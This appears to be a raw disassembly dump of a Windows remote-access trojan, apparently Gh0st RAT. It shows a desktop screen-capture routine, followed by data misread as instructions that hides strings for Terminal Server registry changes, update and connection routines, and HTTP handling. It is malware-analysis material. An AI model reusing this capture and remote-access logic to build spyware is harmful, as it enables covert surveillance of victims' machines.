Function at 0x407e30
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x41142e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
mov dword [esi + 0x88], 0x4145ac
mov dword [esp + 0x14], 0x7f8a
mov dword [esp + 0x18], 0x7f00
mov dword [esp + 0x1c], 0x7f03
mov dword [esp + 0x20], 0x7f89
mov dword [esp + 0x24], 0x7f8b
mov dword [esp + 0x28], 0x7f01
mov dword [esp + 0x2c], 0x7f81
mov dword [esp + 0x30], 0x7f88
mov dword [esp + 0x34], 0x7f80
mov dword [esp + 0x38], 0x7f86
mov dword [esp + 0x3c], 0x7f83
mov dword [esp + 0x40], 0x7f85
mov dword [esp + 0x44], 0x7f82
mov dword [esp + 0x48], 0x7f84
mov dword [esp + 0x4c], 0x7f04
mov dword [esp + 0x50], 0x7f02
lea ebx, [esp + 0x14]
lea edi, [esi + 0xcc]
mov ebp, 0x10
mov eax, dword [ebx]
push eax
push 0
mov dword [edi - 0x40], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [edi], eax
add ebx, 4
add edi, 4
dec ebp
jne 0x407eeb
mov ecx, dword [esp + 0x64]
xor ebp, ebp
mov dword [esp + 0x5c], ebp
mov dword [esi], 0x4145b0
lea eax, [ecx - 1]
cmp eax, 0x1f
ja case.0x407f24.2
xor edx, edx
mov dl, byte [eax + 0x4080d8]
jmp dword [edx*4 + 0x4080d0]
mov dword [esi + 0x70], ecx
jmp 0x407f37
mov dword [esi + 0x70], 8
mov ecx, esi
call fcn.004087c0
test al, al
jne 0x407f58
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
mov dword [esi + 0x10c], eax
call dword [sym.imp.USER32.dll_GetDC]
mov dword [esi + 0x44], eax
mov dword [esi + 0x10], 0xcc0020
mov byte [esi + 4], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [esp + 0x6c]
mov dword [esi + 0x14], eax
mov eax, 0x3e8
xor edx, edx
div ecx
mov edi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push ebp
mov dword [esi + 8], ecx
mov dword [esi + 0x18], eax
mov al, byte [esp + 0x6c]
mov byte [esi + 0xc], al
call edi
push 1
mov dword [esi + 0x28], eax
call edi
mov dword [esi + 0x2c], eax
mov eax, 0x20
cdq
idiv dword [esi + 0x70]
mov ecx, dword [esi + 0x44]
mov edi, dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push ecx
mov dword [esi + 0x30], ebp
mov byte [esi + 0x24], al
call edi
mov edx, dword [esi + 0x44]
mov dword [esi + 0x4c], eax
push edx
call edi
push ebp
mov dword [esi + 0x80], eax
call edi
push ebp
mov dword [esi + 0x48], eax
call edi
mov ecx, dword [esi + 0x70]
mov dword [esi + 0x50], eax
mov eax, dword [esi + 0x28]
push 1
lea edi, [esi + 0x5c]
lea ebx, [esi + 0x60]
push eax
push ecx
mov ecx, esi
mov dword [edi], ebp
mov dword [ebx], ebp
call fcn.004084e0
mov edx, dword [esi + 0x2c]
mov ecx, dword [esi + 0x70]
mov dword [esi + 0x64], eax
mov eax, dword [esi + 0x28]
push edx
push eax
push ecx
mov ecx, esi
call fcn.004084e0
mov edx, dword [esi + 0x28]
mov dword [esi + 0x68], eax
mov eax, dword [esi + 0x70]
push 1
push edx
push eax
mov ecx, esi
call fcn.004084e0
mov ecx, dword [esi + 0x64]
mov edx, dword [esi + 0x44]
push ebp
push ebp
push edi
mov edi, dword [sym.imp.GDI32.dll_CreateDIBSection]
push ebp
push ecx
push edx
mov dword [esi + 0x6c], eax
call edi
push ebp
mov dword [esi + 0x54], eax
push ebp
mov eax, dword [esi + 0x68]
mov ecx, dword [esi + 0x44]
push ebx
push ebp
push eax
push ecx
call edi
mov ecx, dword [esi + 0x44]
push ebp
lea edx, [esi + 0x78]
mov dword [esi + 0x58], eax
mov eax, dword [esi + 0x68]
push ebp
push edx
push ebp
push eax
push ecx
call edi
mov edx, dword [esi + 0x58]
mov edi, dword [sym.imp.GDI32.dll_SelectObject]
mov dword [esi + 0x84], eax
mov eax, dword [esi + 0x4c]
push edx
push eax
call edi
mov ecx, dword [esi + 0x54]
mov edx, dword [esi + 0x48]
push ecx
push edx
call edi
mov eax, dword [esi + 0x84]
mov ecx, dword [esi + 0x80]
push eax
push ecx
call edi
mov edx, dword [esi + 0x2c]
mov eax, dword [esi + 0x28]
push edx
push eax
push ebp
lea ecx, [esi + 0x34]
push ebp
push ecx
call dword [sym.imp.USER32.dll_SetRect]
mov edx, dword [esi + 0x68]
mov eax, dword [edx + 0x14]
shl eax, 1
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [esi + 0x68]
mov dword [esi + 0x1c], eax
xor edx, edx
add esp, 4
mov eax, dword [ecx + 0x14]
mov ecx, dword [esp + 0x54]
div dword [esi + 0x2c]
mov dword [esi + 0x20], ebp
pop edi
mov dword [esi + 0x74], eax
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x50
ret 0xc
inc ebp
dec ebp
pop esp
inc ebx
jne 0x418248
jb 0x41823d
outsb dx, byte [esi]
je 0x41821e
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x418251
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x418241
push ebx
jb 0x41825f
imul esp, dword [ebx + 0x65], 0x73255c73
add byte [eax], al
add byte [eax], al
push edx
push ebx
je 0x418251
popal
insb byte es:[edi], dx
jne 0x418264
inc ebp
js 0x41822a
jae 0x418278
popal
jb 0x41827b
sub dword [eax], eax
add byte [eax], al
add byte [ecx + edi*2 + 0x70], dl
push esp
jns 0x41827f
add byte gs:[eax], al
add byte [eax], al
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x418290
jb 0x418285
outsb dx, byte [esi]
je 0x418266
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x418299
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x418289
push ebx
jb 0x4182a7
imul esp, dword [ebx + 0x65], 0x5c73
dec eax
je 0x4182af
jo str.HTTP_1.0_200_OK_r_n_r_n
xor dword [esi], ebp
xor dword [eax], esp
xor al, 0x30
xor esp, dword [eax]
inc esi
outsd dx, dword [esi]
jb 0x4182ab
bound ebp, qword [ecx + 0x64]
outsb dx, byte gs:[esi]
or eax, 0x3c0a0d0a
dec eax
imul esp, dword [esp + 0x65], 0xd0a0d6e
or bh, byte [eax + ecx*2]
xor dword [esi], edi
xor al, 0x30
xor esp, dword [eax]
inc esi
outsd dx, dword [esi]
jb 0x4182c0
imul esp, dword [esp + 0x65], 0x482f3c6e
outsb dx, byte gs:[esi]
cmp al, 0x2f
das
dec eax
xor dword [esi], edi
add byte [eax], al
add byte [eax], al
dec eax
push esp
push esp
push eax
das
xor dword [esi], ebp
xor byte [eax], ah
xor dh, byte [eax]
xor byte [eax], ah
dec edi
dec ebx
and byte [edi + 0x4b], cl
or eax, 0xa0d0a
bound esp, qword [ebp + 0x6e]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx + 0x65], ah
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
bound esp, qword [ebp + 0x6e]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], dl
add byte [eax], al
pop esp
insb byte es:[edi], dx
jns 0x4184eb
outsd dx, dword [esi]
jns 0x4184ba
popal
je str.Gh0st_Update
inc edi
push 0x20747330
push ebp
jo 0x4184fd
popal
je 0x418501
add byte [eax], al
add byte [eax], al
inc ecx
jo 0x418513
insb byte es:[edi], dx
imul esp, dword [ebx + 0x61], 0x6e6f6974
jae 0x418509
imul esp, dword [ebp + 0x78], 0x726f6c70
js 0x41851e
pop esp
jae str.Hotkey
insb byte es:[edi], dx
insb byte es:[edi], dx
pop esp
outsd dx, dword [esi]
jo 0x418528
outsb dx, byte [esi]
pop esp
arpl word [edi + 0x6d], bp
insd dword es:[edi], dx
popal
outsb dx, byte [esi]
add byte fs:[eax], al
add byte [eax], al
push ebx
jns 0x418546
je 0x41853a
insd dword es:[edi], dx
add byte [eax], al
push ebx
arpl word gs:[ebp + 0x72], si
imul esi, dword [ecx + edi*2], 0x41000000
inc ecx
jo 0x418557
insb byte es:[edi], dx
imul esp, dword [ebx + 0x61], 0x6e6f6974
je 0x418556
outsd dx, dword [esi]
outsb dx, byte [esi]
add byte [ebx + 0x65], dl
push ebx
push ebx
push 0x6f647475
ja 0x418568
push eax
jb 0x418566
jbe 0x418568
insb byte es:[edi], dx
add byte gs:[0x4544], ch
inc esp
inc ebp
add byte gs:[0x4544], ch
inc esp
inc ebp
inc esi
inc ecx
push ebp
dec esp
push esp
pop esp
dec ebx
jns 0x418573
outsd dx, dword [esi]
popal
jb 0x418579
and byte [ecx + 0x79], cl
outsd dx, dword [esi]
jne 0x418590
pop esp
push esp
outsd dx, dword [esi]
insb byte es:[di], dx
add byte gs:[eax + 0x6f], cl
dec eax
outsd dx, dword [esi]
dec eax
outsd dx, dword [esi]
je 0x418593
jns 0x41852b
add byte [edx], dh
add byte [eax], al
add byte [ebx + 0x59], dl
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x4185ac
jb 0x4185a1
outsb dx, byte [esi]
je 0x418582
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x4185b5
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x4185a5
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x4185c0
outsd dx, dword [esi]
insb byte es:[edi], dx
pop esp
push esp
jb 0x4185c2
imul ebp, dword [esi + 0x61], 0x6553206c
outsb dx, byte [esi]
popal
insb byte es:[edi], dx
and byte [ebx + 0x65], dl
jb 0x4185d4
jb 0x4185bd
push edi
jae 0x4185c1
jb 0x4185cb
jo 0x4185e0
jo 0x4185e0
ja 0x4185ce
pop esp
pop esp
push esp
jae 0x4185cb
je 0x4185d4
jo 0x418573
add byte [ebx + 0x59], dl
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x4185f0
jb 0x4185e5
outsb dx, byte [esi]
je 0x4185c6
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x4185f9
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x4185e9
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x418604
outsd dx, dword [esi]
insb byte es:[edi], dx
pop esp
push esp
jb 0x418606
imul ebp, dword [esi + 0x61], 0x6553206c
jb 0x418618
jbe 0x418608
jb 0x418601
jb 0x418601
push edi
imul ebp, dword [esi + 0x53], 0x69746174
outsd dx, dword [esi]
outsb dx, byte [esi]
jae 0x41860d
imul ebp, dword [edi + 0x6e], 0x44525c73
push edx
inc esp
push eax
sub eax, 0x706354
push esp
arpl word [eax], si
add byte [eax], al
add byte [ebx + 0x59], dl
push ebx
pop ecx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x418638
jb 0x41862d
outsb dx, byte [esi]
je 0x41860e
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x418641
jb 0x41863f
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x418631
pop esp
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x41864c
outsd dx, dword [esi]
insb byte es:[edi], dx
pop esp
push esp
jb 0x41864e
insd dword es:[edi], dx
imul ebp, dword [esi + 0x61], 0x6553206c
and byte [ebx + 0x65], dl
jb 0x418660
jbe 0x418650
jb 0x418649
jb 0x418649
push edx
inc esp
push eax
push esp
arpl word [eax], si
push eax
outsd dx, dword [esi]
jb 0x41866c
dec esi
jne 0x418668
bound esp, qword [ebp + 0x72]
add byte [eax], al
inc sp
inc esp
outsb dx, byte gs:[esi]
jns 0x41865a
push ebx
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
outsb dx, byte [esi]
arpl word gs:[ecx + ebp*2 + 0x6f], si
je str.SYSTEMCurrentControlSetControlTerminal_Server
imul ebp, dword [edi + 0x6e], 0x53000073
push ebx
pop ecx
outsd dx, dword [esi]
outsb dx, byte [esi]
jae 0x418613
add byte [ebx + 0x59], dl
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x418690
jb 0x418685
outsb dx, byte [esi]
je 0x418666
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x418699
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x418689
push ebx
jb 0x4186a7
imul esp, dword [ebx + 0x65], 0x65545c73
jb 0x4186a7
push ebx
jb 0x4186b4
imul esp, dword [ebx + 0x65], 0x53000000
push ebx
arpl word [ebp], sp
add byte [eax], al
push ebx
add byte [eax], al
add byte [ebx + 0x59], dl
push ebx
pop ecx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x4186c0
jb 0x4186b5
outsb dx, byte [esi]
je 0x418696
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x4186c9
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x4186b9
push ebx
jb 0x4186d7
jbe 0x4186cb
imul esp, dword [ebx + 0x65], 0x65545c73
arpl word [ebp + 0x73], sp
pop esp
push esp
jb 0x4186d7
jb 0x4186d7
inc esp
inc esp
add byte [eax], al
add byte [eax], al
push ebx
je 0x4186d4
jb 0x4186e9
add byte [eax], al
add byte [ebx + 0x59], dl
push ebx
pop ecx
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x4186f4
jb 0x4186e9
outsb dx, byte [esi]
je 0x4186ca
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x4186fd
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x4186ed
pop esp
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je str.SOFTWAREPoliciesMicrosoftWindowsInstaller
outsd dx, dword [esi]
insb byte es:[edi], dx
pop esp
push esp
jb 0x41870a
imul ebp, dword [esi + 0x61], 0x6553206c
jb 0x41871c
jb 0x4186a9
jb 0x4186a9
add byte [eax], al
add byte [ebx + edx*2 + 0x45], dl
push esp
push ebx
inc ebp
outsb dx, byte [esi]
popal
bound ebp, qword [ebp + 0x64]
add byte fs:[eax], al
add byte [eax], al
add byte [ebx + 0x4f], dl
push ebx
dec edi
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x418727
pop esp
push edi
imul ebp, dword [esi + 0x64], 0x2073776f
dec esi
push esp
pop esp
inc ebx
jne 0x41874b
jb 0x418740
outsb dx, byte [esi]
je 0x418734
jb 0x418754
imul ebp, dword [edi + 0x6e], 0x6e69575c
insb byte es:[edi], dx
outsd dx, dword [esi]
outsd dx, dword [si]
outsb dx, byte [esi]
add byte [eax], al
add byte [ebx + 0x68], dl
push ebx
invalid
jne 0x418768
outsd dx, dword fs:[esi]
ja 0x418766
push edi
imul esi, dword [eax + ebp*2 + 0x6f], 0x6f4c7475
jne 0x418773
dec esp
outsd dx, dword [esi]
outsd dx, dword [si]
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
push ebx
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
push eax
outsd dx, dword [esi]
insb byte es:[edi], dx
imul esp, dword [ebx + 0x69], 0x4d5c7365
imul esp, dword [ebx + 0x72], 0x666f736f
je str.Enabled
arpl word [edx + 0x6f], si
jae 0x418790
je str.Enabled
push edi
imul ebp, dword [esi + 0x64], 0x5c73776f
outsd dx, dword fs:[esi]
ja 0x41879e
pop esp
dec ecx
outsb dx, byte [esi]
jae 0x4187a4
popal
insb byte es:[edi], dx
insb byte es:[edi], dx
jb 0x418736
jb 0x418736
add byte [eax], al
inc ebp
outsb dx, byte [esi]
popal
bound ebp, qword [ebp + 0x41]
insd dword es:[edi], dx
insd dword es:[edi], dx
imul ebp, dword [esi + 0x54], 0x6d655253
outsd dx, dword [esi]
je str.ConnectGroup
add byte [ebx + 0x4f], dl
push ebx
dec edi
inc esi
push esp
push edi
inc ecx
push edx
inc ebp
pop esp
dec ebp
imul esp, dword [ebx + 0x72], 0x666f736f
je 0x4187bb
push edi
imul ebp, dword [esi + 0x64], 0x5c73776f
pop esp
inc ebx
jne 0x4187dc
jb 0x4187d1
outsb dx, byte [esi]
je 0x4187c5
jb 0x4187e5
imul ebp, dword [edi + 0x6e], 0x74656e5c
arpl word [ecx + 0x63], sp
push 0x45000065
inc ebp
outsd dx, dword [esi]
outsb dx, byte [esi]
pop esp
outsb dx, byte [esi]
je 0x4187dd
popal
arpl word [eax + 0x65], bp
add byte [eax], al
inc ebp
outsb dx, byte [esi]
popal
bound ebp, qword [ebp + 0x64]
add byte [eax], dh
add byte [eax], al
add byte [eax + 0x6f], cl
dec eax
outsd dx, dword [esi]
jae 0x418804
add byte [eax], al
add byte [eax], al
push ebx
pop ecx
push ebx
push esp
inc ebp
dec ebp
pop esp
inc ebx
jne 0x418810
jb 0x418805
outsb dx, byte [esi]
je 0x4187e6
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x418819
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
je 0x418809
and eax, 0x6f430073
inc ebx
outsd dx, dword [esi]
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
outsb dx, byte [esi]
arpl word gs:[edi + eax*2 + 0x72], si
outsd dx, dword [esi]
jne 0x41882c
jo 0x4187bd
add byte [eax], al
add byte [eax], al
push ebx
inc esp
add byte [eax], al
add byte [ebx + 0x65], dl
push ebx
inc esp
bound esi, qword gs:[ebp + 0x67]
jne 0x41882e
push eax
jb 0x418833
jbe 0x418835
insb byte es:[edi], dx
add byte gs:[bx + si], al
add byte [eax], al
inc ebx
insb byte es:[edi], dx
add byte [eax], al
add byte [ebx + 0x6c], al
inc ebx
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x41883e
dec eax
popal
outsb dx, byte [esi]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte gs:[ebx + 0x6c], dl
push ebx
insb byte es:[edi], dx
jo 0x4187e6
add byte [eax], al
add byte [ebx + 0x65], ch
imul esp, dword [ebp + 0x72], 0x6e
add byte [eax], al
imul esp, dword [ebp + 0x72], 0x6e
insb byte es:[edi], dx
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
add byte [eax], al
push ebx
dec eax
inc esp
insb byte es:[edi], dx
je 0x418865
dec ebx
jns 0x418845
add byte [eax], al
add byte [eax], al
jae 0x418872
add byte [eax], al
add byte [ebx + 0x68], dh
jae 0x418872
push 0x7061776c
imul ebp, dword [esi], 0x6c6c64
inc ebx
insb byte es:[edi], dx
insb byte es:[edi], dx
ja 0x41886e
jo 0x418878
insb byte es:[edi], dx
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [ebx + 0x6c], al
inc ebx
insb byte es:[edi], dx
outsd dx, dword [esi]
jae 0x41887e
push ebx
jb 0x418893
imul esp, dword [ebx + 0x65], 0x646e6148
insb byte es:[edi], dx
add byte gs:[eax], al
inc esp
insb byte es:[edi], dx
je 0x418893
je 0x418893
push ebx
jb str.GET
imul esp, dword [ebx + 0x65], 0x53000000
push ebx
arpl word [ebp], sp
add byte [eax], al
push ebx
add byte [eax], al
add byte [ebx + 0x74], dl
push ebx
je 0x41889c
je 0x41889c
jb 0x4188b1
push ebx
jb 0x4188b7
imul esp, dword [ebx + 0x65], 0x41
inc ebx
outsd dx, dword [esi]
add byte [eax], al
add byte [ebx + 0x6f], al
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x4188bf
outsd dx, dword [esi]
insb byte es:[edi], dx
push ebx
jb 0x4188c9
imul esp, dword [ebx + 0x65], 0x75510000
push ecx
invalid
jb 0x4188d6
push ebx
jb 0x4188d7
imul esp, dword [ebx + 0x65], 0x74617453
jne 0x4188dd
je 0x4188c8
je 0x4188de
jae 0x41886b
add byte [eax], al
dec edi
jo 0x4188d4
add byte [edi + 0x70], cl
dec edi
invalid
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
push ebx
jb 0x4188ea
jb 0x4188ea
imul esp, dword [ebx + 0x65], 0x41
add byte [edi + 0x70], cl
dec edi
invalid
add byte [eax], al
add byte [eax], al
dec edi
jo 0x4188e4
outsb dx, byte gs:[esi]
outsb dx, byte [esi]
push ebx
inc ebx
dec ebp
popal
outsb dx, byte [esi]
popal
jb 0x4188cb
add byte [eax], al
inc ebx
dec edi
dec esi
dec esi
inc ebp
inc ebx
push esp
and byte [eax], al
add byte [eax], al
add byte [eax + 0x4f], dl
push eax
dec edi
push ebx
push esp
and byte [eax], al
add byte [eax], al
dec eax
inc ebp
inc ecx
inc esp
and byte [eax], al
add byte [eax], al
inc edi
inc ebp
push esp
and byte [eax], al
add byte [eax], al
add byte [eax + 0x74], ch
invalid
je 0x418927
invalid
je 0x418927
jo 0x4188ef
cmp ch, byte [edi]
das
das
add byte [esi + 0x6c], bl
pop esp
insb byte es:[edi], dx
jns 0x41891f
outsd dx, dword [esi]
jns 0x4188ee
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
add byte [di], ah
and eax, 0x25642564
invalid
invalid
and eax, 0x25642564
and eax, 0x61622e64
imul eax, dword [eax], 0
and eax, 0x25642564
bound esp, qword cs:[ecx + 0x6b]
and eax, 0x2e642564
bound esp, qword [ecx + 0x6b]
add byte [eax], al
add byte [eax], al
push eax
push eax
add byte [eax + 0x50], dl
push eax
push eax
push eax
push eax
push eax
push eax
add byte [eax], al
or eax, 0x30255b0a
xor ah, byte [edi + ebp + 0x25]
xor byte [edx], dh
das
xor byte [edx], dh
das
and eax, 0x2f643230
xor ah, byte [edi + ebp + 0x25]
and eax, 0x30252064
xor ah, byte [edx + edi + 0x25]
xor byte [edx], dh
cmp ah, byte fs:[0x5d643230]
and byte fs:[0x3a643230], ah
and byte [0x3a643230], ah
and eax, 0x3a643230
and eax, 0x5d643230
and byte [eax], ch
and eax, 0xa0d2973
add byte [eax], al
pop ebp
add byte [eax], al
add byte [0x5f00000a], cl
pop edi
imul esp, dword [ecx + 0x73], 0x70
jb 0x41898b
imul edi, dword [ecx], 0
push edx
inc ebp
inc edi
pop edi
inc edx
dec ecx
dec esi
inc ecx
push edx
pop ecx
add byte [eax], al
and eax, 0x7334322d
add byte [0x7334322d], ah
and eax, 0x7334322d
and byte [0x7335312d], ah
and byte [0x5200000a], cl
push edx
inc ebp
inc edi
pop edi
dec ebp
push ebp
dec esp
push esp
dec ecx
pop edi
push ebx
pop edx
add byte [eax], al
add byte [eax], al
and eax, 0x7334322d
and byte [0x7335312d], ah
and byte [eax], dh
js 0x41897c
js 0x418981
and eax, 0xd202964
or al, byte [eax]
push edx
inc ebp
inc edi
pop edi
inc esp
push edi
dec edi
push edx
inc esp
add byte [eax], al
add byte [0x7334322d], ah
and eax, 0x7334322d
and byte [0x7335312d], ah
